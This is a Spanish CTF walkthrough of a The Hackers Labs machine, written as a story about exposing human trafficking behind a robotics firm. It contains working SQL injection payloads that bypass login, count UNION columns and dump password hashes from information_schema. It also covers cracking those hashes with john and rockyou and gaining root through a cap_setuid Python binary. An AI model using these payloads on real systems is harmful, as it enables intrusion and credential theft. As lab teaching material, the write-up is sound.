«No quería sino intentar vivir aquello que tendía a salir de mí, espontáneamente. ¿Por qué había de ser esto tan difícil?» — Hermann Hesse, Demian
Constanza Robotics tiene oficinas de vidrio en Ciudad Empresarial, en Huechuraba, y en la entrada un brazo robótico de exhibición que no suelda nada hace dos años; y detrás de ese brazo, de esa palabra tan limpia, «robótica de precisión», hay una planilla con nombres de gente que cruzó la frontera por Colchane o por Chacalluta buscando trabajo y encontró un pasaporte falso y un fundo sin número en el Maule.
Marian me escribió un martes a las once de la noche, un audio entrecortado, decía que una mujer venezolana que había pasado por su fundación hacía tres meses le había mostrado una foto de un carnet con un nombre que no era el suyo y una empresa de garantía laboral que tampoco existía en ningún registro público, y que el número de esa empresa de garantía terminaba en el mismo dominio de correo que Constanza Robotics, y yo pensé, mientras escuchaba el audio dos veces, que una startup de robótica no necesita una empresa de garantía laboral, y esa sola frase ya era la grieta, y nos sentamos los dos, ella con su lista de nombres y yo con Kali, sin saber todavía que íbamos a terminar la noche con acceso de root y con ganas de vomitar.
$ unzip "The Hackers Labs - Constanza Robotics.zip" $ VBoxManage import "The Hackers Labs - Constanza Robotics.ova" --vsys 0 --vmname "TheHackersLabs-ConstanzaRobotics" $ VBoxManage modifyvm "TheHackersLabs-ConstanzaRobotics" --nic1 hostonly --hostonlyadapter1 vboxnet0 $ VBoxManage startvm "TheHackersLabs-ConstanzaRobotics" --type headless
Primero hay que saber quién responde, y quién responde es casi siempre la máquina de siempre en el rango de siempre, la .100 es el DHCP y descartamos la .100, y la otra es la que nos interesa, y después hay que mirar los sesenta y cinco mil puertos completos porque el top-1000 de nmap es una promesa perezosa y esta gente no esconde nada en los mil primeros:
$ nmap -sn 192.168.56.100-200 $ nmap -p- --min-rate 3000 -Pn 192.168.56.102 22/tcp open ssh 80/tcp open http 3306/tcp open mysql $ nmap -sV -sC -Pn -p 22,80,3306 192.168.56.102 80/tcp Apache 2.4.68 — "Constanza Robotics — Robótica industrial de precisión" 3306/tcp MariaDB 10.3.23 (unauthorized)
Una web con base de datos detrás y ssh de salida, nada nuevo, y Marian mirando por encima de mi hombro cada vez que la pantalla imprime algo, y yo pensando que el 3306 pide autenticación así que el camino es la web, siempre es la web, curl a la raíz por si hay comentarios de un programador cansado un viernes a las seis, robots.txt y sitemap.xml por si acaso aunque casi nunca hay nada y esta vez tampoco lo hay, y entonces gobuster, que es tirar miles de nombres contra el servidor y anotar cuáles existen:
$ curl -s http://192.168.56.102/ | less
$ curl -s http://192.168.56.102/robots.txt
$ curl -s http://192.168.56.102/sitemap.xml
$ gobuster dir -u http://192.168.56.102/ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-t 50 -x php,html -q
login.php (Status: 200) [Size: 1091]
Un portal que nadie enlaza desde ninguna página bonita de la empresa, un formulario user/pass, al pie dice «Intranet · acceso restringido», y Marian dice en voz baja «esto es lo que vio ella en la captura», y yo le mando una comilla sola, solo una, porque una comilla sola es la pregunta más antigua del mundo para saber si alguien construyó su consulta a mano:
$ curl -s -o /dev/null -w "HTTP %{http_code}\n" -X POST http://192.168.56.102/login.php \
--data-urlencode "username=admin'" --data-urlencode "password=x"
HTTP 500
Quinientos, no doscientos, la consulta se rompió, y romper una consulta con una comilla es la primera línea de un idioma que se puede seguir hablando, y probamos el clásico, el que convierte cualquier condición en una verdad universal, ' OR '1'='1'-- -, y entra como el primer usuario de la tabla aunque el panel diga que está en mantenimiento, y eso no nos da nada todavía pero confirma que la consulta es nuestra, que podemos escribirle encima, y entonces dejamos el bypass de lado porque lo que de verdad importa es sacar datos, no colarse, sacar todo lo que haya:
$ curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' OR '1'='1'-- -" --data-urlencode "password=x"
Sesión iniciada como pperez (panel en mantenimiento)
Hay que saber cuántas columnas tiene el SELECT original antes de poder inyectar una segunda consulta al lado, así que se prueba de una en una hasta que el error desaparece, y con tres columnas el error se va, y hay que saber cuál de esas tres se imprime en la pantalla, la número dos, «Sesión iniciada como 2», ahí, esa es la ventana, y por esa ventana ya se puede meter cualquier cosa que la base de datos sepa:
$ for n in 1 2 3 4 5 6; do
cols=$(seq -s, 1 $n)
curl -s -o /dev/null -w "columnas=$n -> HTTP %{http_code}\n" -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT ${cols}-- -" --data-urlencode "password=x"
done
columnas=3 -> HTTP 200 (deja de dar 500 aquí)
$ curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,2,3-- -" --data-urlencode "password=x" | grep -A2 alert
Sesión iniciada como 2
information_schema es el mapa que trae de fábrica cualquier MySQL, ahí están todas las bases, todas las tablas, todas las columnas de todo, y por esa ventana de la columna dos empezamos a pedirle el mapa a la propia base de datos, la versión, el nombre de la base activa, el nombre de las tablas, y GROUP_CONCAT junta filas separadas por un carácter que uno elige, y elegimos la coma escrita en hexadecimal para no pelear con las comillas de nuestra propia inyección:
$ curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,version(),3-- -" --data-urlencode "password=x"
$ curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,database(),3-- -" --data-urlencode "password=x"
$ curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(table_name SEPARATOR 0x2c),3 FROM information_schema.tables WHERE table_schema=database()-- -" \
--data-urlencode "password=x"
base de datos: corp · tablas: users
Marian ya no mira por encima de mi hombro, ahora escribe ella los -- data-urlencode, aprende rápido cuando algo le importa de verdad, y pedimos las columnas de users con el nombre de la tabla en hexadecimal para no romper nuestras propias comillas, y salen cuatro: id, username, password, role, y con eso alcanza para vaciar la tabla entera de un tirón, con 0x7c de separador de campo y 0x0a de separador de fila, para que salga legible:
$ curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(column_name SEPARATOR 0x2c),3 FROM information_schema.columns WHERE table_name=0x7573657273-- -" \
--data-urlencode "password=x"
id,username,password,role
$ curl -s -X POST http://192.168.56.102/login.php \
--data-urlencode "username=' UNION SELECT 1,GROUP_CONCAT(id,0x7c,username,0x7c,password,0x7c,role SEPARATOR 0x0a),3 FROM users-- -" \
--data-urlencode "password=x"
1|pperez|dea56e47f1c62c30b83b70eb281a6c39|user
2|agomez|8afa847f50a716e64932d995c8e7435a|user
3|jruiz|f25a2fc72690b780b2a14e140ef6a9e0|user
4|csalas|0b04f0f2f8a079bf984225c01ba99a0d|admin
5|mtorres|aaef70f35bbc718528c1e005e1e59d45|user
6|dnavarro|dac8029f94f09117ad4f0dc5f70b69e1|user
Seis nombres, seis hashes de treinta y dos caracteres que huelen a MD5 de una legua, y csalas es la única cuenta admin, csalas que en el sitio de la empresa figura como «coordinador de alianzas con el agro», y Marian repite esa frase dos veces, «alianzas con el agro», como quien repite una frase para no perder el hilo del miedo, y yo guardo los hashes en un archivo y los mando a romperse contra el diccionario de siempre, el que ya filtró medio internet alguna vez:
$ cat > hashes_constanza.txt << 'EOF' dea56e47f1c62c30b83b70eb281a6c39 8afa847f50a716e64932d995c8e7435a f25a2fc72690b780b2a14e140ef6a9e0 0b04f0f2f8a079bf984225c01ba99a0d aaef70f35bbc718528c1e005e1e59d45 dac8029f94f09117ad4f0dc5f70b69e1 EOF $ gzip -dk /usr/share/wordlists/rockyou.txt.gz $ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes_constanza.txt $ john --format=raw-md5 --show hashes_constanza.txt barcelona princess iloveyou (csalas, el admin, no cae con el diccionario ni con reglas -- no hace falta, con una credencial basta) $ for pw in iloveyou princess barcelona; do echo -n "$pw" | md5sum; done pperez : barcelona agomez : princess jruiz : iloveyou
La gente reutiliza contraseñas, siempre, en todas partes, y probamos las tres contra ssh sin esperar demasiado, y pperez con barcelona entra, y agomez y jruiz dan permission denied porque no tienen ssh habilitado o guardan otra clave ahí, y con pperez ya adentro leemos la primera flag y por un segundo, solo un segundo, se siente como cualquier otra máquina de THL, como si esto fuera solo un ejercicio:
$ sshpass -p 'barcelona' ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no [email protected] 'id; cat ~/user.txt' uid=1001(pperez) ████████████
Enumeramos lo de siempre antes de buscar nada raro, sudo -l dice que no, los grupos dicen que no, find con -perm -4000 solo trae los binarios normales del sistema, sudo, passwd, su, nada que sirva, y entonces la pregunta cambia de dirección: no todo privilegio en Linux es el bit SUID de toda la vida, hay un mecanismo más fino, capabilities, pedacitos sueltos de superpoder que se le pueden dar a un binario sin dárselo entero, y eso se busca con getcap:
$ sudo -l Sorry, user pperez may not run sudo $ id $ find / -perm -4000 -type f 2>/dev/null $ getcap -r / 2>/dev/null /usr/bin/ping cap_net_raw=ep /opt/maint/pybackup cap_setuid=ep
pybackup, nombre de script de respaldo aburrido, y no es un script, es un intérprete de Python entero metido en un ejecutable de seis megas, y con cap_setuid=ep ese intérprete puede llamar a setuid() y convertirse en cualquiera, y el primer intento se estrella porque pedimos setuid y setgid juntos y la capability solo cubre el uid, así que aislamos la línea que sí funciona:
$ /opt/maint/pybackup -c "import os; os.setuid(0); os.setgid(0); os.system('id')"
PermissionError: [Errno 1] Operation not permitted
$ /opt/maint/pybackup -c "import os; os.setuid(0); print(os.getuid(), os.geteuid())"
0 0
$ /opt/maint/pybackup -c "import os; os.setuid(0); os.system('id; cat /root/root.txt')"
uid=0(root) gid=1001(pperez)
████████████
Root, sin haber tocado un solo archivo del sistema, todo en memoria, y con root ya no hace falta pedirle nada por SQLi a nadie, se puede simplemente mirar, y miramos, y en /opt/maint/ había más que un intérprete suelto: una carpeta llamada rrhh_extra que ningún organigrama de robótica necesita, con plantillas escaneadas de cédulas y pasaportes —peruanos, venezolanos, uno haitiano— ya con la foto puesta y el nombre todavía en blanco, esperando a alguien, y una planilla, csv, sin cifrar, con dos columnas que no deberían estar nunca en la misma fila: un nombre de persona y un nombre de fundo, Región del Maule, Región del Biobío, más al sur incluso, Araucanía, con un monto al lado que un agrónomo o un empresario de packing pagaba por «colocación», esa palabra tan administrativa para decir que alguien compraba gente.
Marian encontró el nombre de la mujer que le había mostrado la foto del carnet, ahí, en la fila cuarenta y tantos, con un fundo al lado que ninguno de los dos conocía todavía, y no dijo nada por un rato largo, y cuando habló no habló de hackeo ni de SQLi ni de nada de lo que acabábamos de hacer, habló de que esa mujer todavía estaba en ese fundo, ahora mismo, mientras nosotros mirábamos una pantalla, y que publicar esto en cualquier medio antes de que alguien fuera a sacarla de ahí era, literalmente, avisarle a la gente de Constanza Robotics que había una filtración antes de que la policía llegara a ningún lado.
No hubo debate largo esta vez, ni el que suelo tener conmigo mismo en otras historias sobre si tenía derecho a mirar: aquí la duda era otra, era logística, era no arruinarlo por apuro, y decidimos entre los dos no tocar un solo archivo más, no avisar a nadie que no fuera la autoridad correcta, y esa misma madrugada Marian usó un canal reservado de denuncias de la Policía de Investigaciones para trata de personas, cifrado, sin nuestros nombres reales, con la planilla completa, las rutas de los fundos, los nombres de las plantillas de documentos y la hora exacta en que las habíamos visto, y yo agregué, al final, la cadena técnica completa —esta misma que acabas de leer— para que quien investigara no tuviera que reconstruir nada desde cero.
No sé qué pasó después con la mujer de la fila cuarenta y tantos, ni con las otras filas, ni si csalas, coordinador de alianzas con el agro, durmió esa noche sabiendo o sin saber. Sé que Marian no volvió a decir «alianzas con el agro» sin que le temblara un poco la voz, y que yo tampoco he vuelto a mirar un brazo robótico de exhibición sin preguntarme qué hay detrás de la palabra que alguien eligió para no decir la verdad.